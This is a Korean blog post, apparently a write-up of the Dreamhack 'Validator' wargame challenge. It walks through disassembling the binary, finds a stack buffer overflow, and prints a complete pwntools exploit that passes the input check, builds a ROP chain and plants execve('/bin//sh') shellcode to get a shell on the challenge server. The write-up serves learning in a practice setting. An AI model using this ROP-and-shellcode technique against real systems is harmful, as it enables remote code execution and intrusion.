TIL: Reverse Engineering, ROP
Wargame: Validator
문제의 소스 코드는 주어지지 않고, executable 파일만이 주어졌다. disassemble한 결과는 아래와 같다.
Dump of assembler code for function main:
0x000000000040063a <+0>: push rbp
0x000000000040063b <+1>: mov rbp,rsp
0x000000000040063e <+4>: add rsp,0xffffffffffffff80
0x0000000000400642 <+8>: lea rax,[rbp-0x80]
0x0000000000400646 <+12>: mov edx,0x10
0x000000000040064b <+17>: mov esi,0x0
0x0000000000400650 <+22>: mov rdi,rax
0x0000000000400653 <+25>: call 0x400460 <memset@plt>
0x0000000000400658 <+30>: lea rax,[rbp-0x80]
0x000000000040065c <+34>: mov edx,0x400
0x0000000000400661 <+39>: mov rsi,rax
0x0000000000400664 <+42>: mov edi,0x0
0x0000000000400669 <+47>: call 0x400470 <read@plt>
0x000000000040066e <+52>: lea rax,[rbp-0x80]
0x0000000000400672 <+56>: mov esi,0x80
0x0000000000400677 <+61>: mov rdi,rax
0x000000000040067a <+64>: call 0x400580 <validate>
0x000000000040067f <+69>: mov eax,0x0
0x0000000000400684 <+74>: leave
0x0000000000400685 <+75>: ret
Dump of assembler code for function validate:
0x0000000000400580 <+0>: push rbp
0x0000000000400581 <+1>: mov rbp,rsp
0x0000000000400584 <+4>: sub rsp,0x20
0x0000000000400588 <+8>: mov QWORD PTR [rbp-0x18],rdi
0x000000000040058c <+12>: mov QWORD PTR [rbp-0x20],rsi
0x0000000000400590 <+16>: mov DWORD PTR [rbp-0x8],0x0
0x0000000000400597 <+23>: mov DWORD PTR [rbp-0x4],0x0
0x000000000040059e <+30>: jmp 0x4005d3 <validate+83>
0x00000000004005a0 <+32>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004005a3 <+35>: movsxd rdx,eax
0x00000000004005a6 <+38>: mov rax,QWORD PTR [rbp-0x18]
0x00000000004005aa <+42>: add rax,rdx
0x00000000004005ad <+45>: movzx ecx,BYTE PTR [rax]
0x00000000004005b0 <+48>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004005b3 <+51>: movsxd rdx,eax
0x00000000004005b6 <+54>: lea rax,[rip+0x200a83] # 0x601040 <correct>
0x00000000004005bd <+61>: movzx eax,BYTE PTR [rdx+rax*1]
0x00000000004005c1 <+65>: cmp cl,al
0x00000000004005c3 <+67>: je 0x4005cf <validate+79>
0x00000000004005c5 <+69>: mov edi,0x0
0x00000000004005ca <+74>: call 0x400480 <exit@plt>
0x00000000004005cf <+79>: add DWORD PTR [rbp-0x4],0x1
0x00000000004005d3 <+83>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004005d6 <+86>: cmp eax,0x9
0x00000000004005d9 <+89>: jbe 0x4005a0 <validate+32>
0x00000000004005db <+91>: mov DWORD PTR [rbp-0x4],0xb
0x00000000004005e2 <+98>: jmp 0x400628 <validate+168>
0x00000000004005e4 <+100>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004005e7 <+103>: movsxd rdx,eax
0x00000000004005ea <+106>: mov rax,QWORD PTR [rbp-0x18]
0x00000000004005ee <+110>: add rax,rdx
0x00000000004005f1 <+113>: movzx eax,BYTE PTR [rax]
0x00000000004005f4 <+116>: movsx eax,al
0x00000000004005f7 <+119>: movzx eax,al
0x00000000004005fa <+122>: mov edx,DWORD PTR [rbp-0x4]
0x00000000004005fd <+125>: movsxd rdx,edx
0x0000000000400600 <+128>: lea rcx,[rdx+0x1]
0x0000000000400604 <+132>: mov rdx,QWORD PTR [rbp-0x18]
0x0000000000400608 <+136>: add rdx,rcx
0x000000000040060b <+139>: movzx edx,BYTE PTR [rdx]
0x000000000040060e <+142>: movsx edx,dl
0x0000000000400611 <+145>: add edx,0x1
0x0000000000400614 <+148>: cmp eax,edx
0x0000000000400616 <+150>: jne 0x40061e <validate+158>
0x0000000000400618 <+152>: add DWORD PTR [rbp-0x4],0x1
0x000000000040061c <+156>: jmp 0x400628 <validate+168>
0x000000000040061e <+158>: mov edi,0x0
0x0000000000400623 <+163>: call 0x400480 <exit@plt>
0x0000000000400628 <+168>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040062b <+171>: cdqe
0x000000000040062d <+173>: cmp QWORD PTR [rbp-0x20],rax
0x0000000000400631 <+177>: ja 0x4005e4 <validate+100>
0x0000000000400633 <+179>: mov eax,0x0
0x0000000000400638 <+184>: leave
0x0000000000400639 <+185>: ret
Reverse Enginnering
문제를 풀 시점에는 ida라는 도구가 있는지도 몰랐기 때문에 직접 gdb로 코드를 한 instruction씩 돌려보며 프로그램의 작동 방식을 파악했다.
main
은read(0, buf, 0x400)
을 실행하고, 입력받은 값을 대상으로validate
를 실행한다.validate
는 입력받은 값의 첫 부분이DREAMHACK!
과 일치하는지 확인하고, 그 이후의 문자들의 값이 1씩 감소하는지를 확인한다. 이 검사를 0x80 번째 byte까지 실행한다. 검사에서 탈락한다면exit
한다.
Vulnerability Scanning
-
checksec
-
buf
의 size는 0x80인데read
를 size를 0x400으로 설정하고 실행하므로 BOF가 일어난다. 따라서validate
의 검사만 통과한다면 ROP를 이용해 shell을 획득할 수 있다.
Exploit
from pwn import *
p = remote("host1.dreamhack.games", 15423)
#p = process("./validator_dist")
#gdb.attach(p)
e = ELF("./validator_dist")
payload = b"DREAMHACK!"
i = 127
while len(payload) <= 0x80 :
payload += bytes([i])
i = i - 1
payload += b"A"*7
ret = 0x000000000040044e
pop_rdi = 0x00000000004006f3
pop_rsi_pop_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b
memset_got = e.got["memset"]
read_plt = e.plt["read"]
read = e.symbols["read"]
bss = 0x0000000000601050
# read(0, memset_got, 0x50)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(memset_got) + p64(0) # memset_got 대신 bss를 써도 된다.
payload += p64(pop_rdx) + p64(0x50)
payload += p64(read_plt) # read_plt 대신 read를 써도 된다.
# memset() == shellcode
payload += p64(memset_got)
p.send(payload)
p.sendline("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05")
p.interactive()
validate
의 검사를 통과하도록 payload를 구성한 뒤, ROPgadget들을 이어붙여read(0, memset_got, 0x50)
를 실행하고memset_got
를 shellcode로 overwrite한다.- 또는
bss
를 shellcode로 overwrite해도 된다.
아직 해결되지 않은 의문점들
- Local 환경에서는
bss
나memset_got
둘 다 execute 권한이 주어지지 않아 위 exploit code를 실행하면 Seg fault가 발생하고, shell을 획득할 수 없다.- Local과 remote 둘 다 동일한 executable을 실행하는 것인데 어떻게 권한이 다르게 주어질 수 있는지?
- Remote 환경에서 rwx 권한이 각 section 별로 어떻게 주어지는지를 어떻게 파악할 수 있는지?
- 일단 dreamhack에 질문글을 올렸다.
- (2022-08-31 수정) 질문글에 답변이 달렸다.
- 일단 remote와 local에서 rwx 권한이 다르게 주어지는 것은 linux kernel의 version 차이 때문이다.
- Remote에서의 rwx 권한을 예상할 수 없으니 항상 문제를 풀 때는 주어진 docker file이나 libc를 이용해 remote와 환경을 맞춰주는 것이 최선이다..
Leave a comment